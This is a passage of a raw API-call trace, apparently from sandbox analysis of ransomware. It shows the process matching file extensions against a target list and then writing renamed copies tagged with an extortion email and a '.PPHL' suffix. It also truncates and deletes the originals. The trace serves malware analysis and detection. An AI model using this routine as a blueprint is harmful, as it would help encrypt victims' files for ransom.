returned 1 [0074.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0074.181] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0074.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.181] lstrlenW (lpString=".doc") returned 4 [0074.181] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0074.181] lstrlenW (lpString=".docx") returned 5 [0074.181] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0074.181] lstrlenW (lpString=".pdf") returned 4 [0074.181] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".xls") returned 4 [0074.182] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".xlsx") returned 5 [0074.182] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0074.182] lstrlenW (lpString=".ppt") returned 4 [0074.182] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString=".zip") returned 4 [0074.182] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0074.182] lstrlenW (lpString=".rar") returned 4 [0074.182] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".bz2") returned 4 [0074.182] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".7z") returned 3 [0074.182] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString=".dbf") returned 4 [0074.182] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString=".1cd") returned 4 [0074.182] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString=".jpg") returned 4 [0074.182] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.182] lstrlenW (lpString=".doc") returned 4 [0074.182] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".docx") returned 5 [0074.182] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0074.182] lstrlenW (lpString=".pdf") returned 4 [0074.182] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0074.182] lstrlenW (lpString=".xls") returned 4 [0074.182] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString=".xlsx") returned 5 [0074.183] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0074.183] lstrlenW (lpString=".ppt") returned 4 [0074.183] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.183] lstrlenW (lpString=".zip") returned 4 [0074.183] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0074.183] lstrlenW (lpString=".rar") returned 4 [0074.183] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString=".bz2") returned 4 [0074.183] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString=".7z") returned 3 [0074.183] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0074.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.183] lstrlenW (lpString=".dbf") returned 4 [0074.183] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.183] lstrlenW (lpString=".1cd") returned 4 [0074.183] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0074.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0074.183] lstrlenW (lpString=".jpg") returned 4 [0074.183] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0074.183] lstrcmpiW (lpString1=".htm", lpString2=".PPHL") returned -1 [0074.183] lstrlenW (lpString="Bears.htm") returned 9 [0074.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.189] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=255) returned 1 [0074.189] CloseHandle (hObject=0x1f0) returned 1 [0074.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0074.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.190] lstrlenW (lpString=".doc") returned 4 [0074.190] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.190] lstrlenW (lpString=".docx") returned 5 [0074.190] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.190] lstrlenW (lpString=".pdf") returned 4 [0074.190] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.190] lstrlenW (lpString=".xls") returned 4 [0074.190] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.190] lstrlenW (lpString=".xlsx") returned 5 [0074.190] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.190] lstrlenW (lpString=".ppt") returned 4 [0074.190] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.190] lstrlenW (lpString=".zip") returned 4 [0074.190] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.190] lstrlenW (lpString=".rar") returned 4 [0074.190] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.190] lstrlenW (lpString=".bz2") returned 4 [0074.190] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.190] lstrlenW (lpString=".7z") returned 3 [0074.190] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.190] lstrlenW (lpString=".dbf") returned 4 [0074.190] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.191] lstrlenW (lpString=".1cd") returned 4 [0074.191] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.191] lstrlenW (lpString=".jpg") returned 4 [0074.192] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString=".doc") returned 4 [0074.192] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.192] lstrlenW (lpString=".docx") returned 5 [0074.192] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.192] lstrlenW (lpString=".pdf") returned 4 [0074.192] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString=".xls") returned 4 [0074.192] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString=".xlsx") returned 5 [0074.192] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.192] lstrlenW (lpString=".ppt") returned 4 [0074.192] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString=".zip") returned 4 [0074.192] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString=".rar") returned 4 [0074.192] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.192] lstrlenW (lpString=".bz2") returned 4 [0074.192] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.192] lstrlenW (lpString=".7z") returned 3 [0074.192] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString=".dbf") returned 4 [0074.192] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString=".1cd") returned 4 [0074.192] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0074.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0074.192] lstrlenW (lpString=".jpg") returned 4 [0074.192] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0074.193] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.193] lstrlenW (lpString="Bears.jpg") returned 9 [0074.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.193] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1074) returned 1 [0074.193] CloseHandle (hObject=0x1f0) returned 1 [0074.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0074.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.193] lstrlenW (lpString=".doc") returned 4 [0074.193] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.193] lstrlenW (lpString=".docx") returned 5 [0074.193] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0074.193] lstrlenW (lpString=".pdf") returned 4 [0074.193] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".xls") returned 4 [0074.194] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".xlsx") returned 5 [0074.194] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0074.194] lstrlenW (lpString=".ppt") returned 4 [0074.194] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString=".zip") returned 4 [0074.194] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".rar") returned 4 [0074.194] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".bz2") returned 4 [0074.194] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.194] lstrlenW (lpString=".7z") returned 3 [0074.194] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString=".dbf") returned 4 [0074.194] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString=".1cd") returned 4 [0074.194] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString=".jpg") returned 4 [0074.194] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.194] lstrlenW (lpString=".doc") returned 4 [0074.194] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.194] lstrlenW (lpString=".docx") returned 5 [0074.194] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0074.194] lstrlenW (lpString=".pdf") returned 4 [0074.194] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".xls") returned 4 [0074.194] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.194] lstrlenW (lpString=".xlsx") returned 5 [0074.195] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0074.195] lstrlenW (lpString=".ppt") returned 4 [0074.195] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.195] lstrlenW (lpString=".zip") returned 4 [0074.195] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.195] lstrlenW (lpString=".rar") returned 4 [0074.195] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.195] lstrlenW (lpString=".bz2") returned 4 [0074.195] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.195] lstrlenW (lpString=".7z") returned 3 [0074.195] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.195] lstrlenW (lpString=".dbf") returned 4 [0074.195] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.195] lstrlenW (lpString=".1cd") returned 4 [0074.195] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0074.195] lstrlenW (lpString=".jpg") returned 4 [0074.195] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.195] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.195] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0074.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0074.972] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=2575) returned 1 [0074.972] CloseHandle (hObject=0x180) returned 1 [0074.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0074.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.980] lstrlenW (lpString=".doc") returned 4 [0074.980] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.980] lstrlenW (lpString=".docx") returned 5 [0074.980] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0074.983] lstrlenW (lpString=".pdf") returned 4 [0074.983] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.983] lstrlenW (lpString=".xls") returned 4 [0074.983] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.983] lstrlenW (lpString=".xlsx") returned 5 [0074.983] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0074.983] lstrlenW (lpString=".ppt") returned 4 [0074.983] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.983] lstrlenW (lpString=".zip") returned 4 [0074.983] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.983] lstrlenW (lpString=".rar") returned 4 [0074.983] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.983] lstrlenW (lpString=".bz2") returned 4 [0074.983] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.983] lstrlenW (lpString=".7z") returned 3 [0074.983] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.983] lstrlenW (lpString=".dbf") returned 4 [0074.984] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.984] lstrlenW (lpString=".1cd") returned 4 [0074.984] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.984] lstrlenW (lpString=".jpg") returned 4 [0074.984] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.984] lstrlenW (lpString=".doc") returned 4 [0074.984] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.984] lstrlenW (lpString=".docx") returned 5 [0074.984] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0074.984] lstrlenW (lpString=".pdf") returned 4 [0074.984] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.984] lstrlenW (lpString=".xls") returned 4 [0074.984] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.984] lstrlenW (lpString=".xlsx") returned 5 [0074.984] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0074.984] lstrlenW (lpString=".ppt") returned 4 [0074.984] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.984] lstrlenW (lpString=".zip") returned 4 [0074.984] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.984] lstrlenW (lpString=".rar") returned 4 [0074.984] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.984] lstrlenW (lpString=".bz2") returned 4 [0074.984] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.985] lstrlenW (lpString=".7z") returned 3 [0074.985] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.985] lstrlenW (lpString=".dbf") returned 4 [0074.985] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.985] lstrlenW (lpString=".1cd") returned 4 [0074.985] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0074.985] lstrlenW (lpString=".jpg") returned 4 [0074.985] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.985] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0074.985] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0074.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.266] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=2985) returned 1 [0076.266] CloseHandle (hObject=0x1f8) returned 1 [0076.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0076.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.266] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0076.271] GetLastError () returned 0x0 [0076.271] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xba9, lpOverlapped=0x0) returned 1 [0076.354] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0076.355] ReadFile (in: hFile=0x1f8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.355] WriteFile (in: hFile=0x18c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.355] SetEndOfFile (hFile=0x18c) returned 1 [0076.355] CloseHandle (hObject=0x18c) returned 1 [0076.355] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.355] SetEndOfFile (hFile=0x1f8) returned 1 [0076.356] CloseHandle (hObject=0x1f8) returned 1 [0076.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common 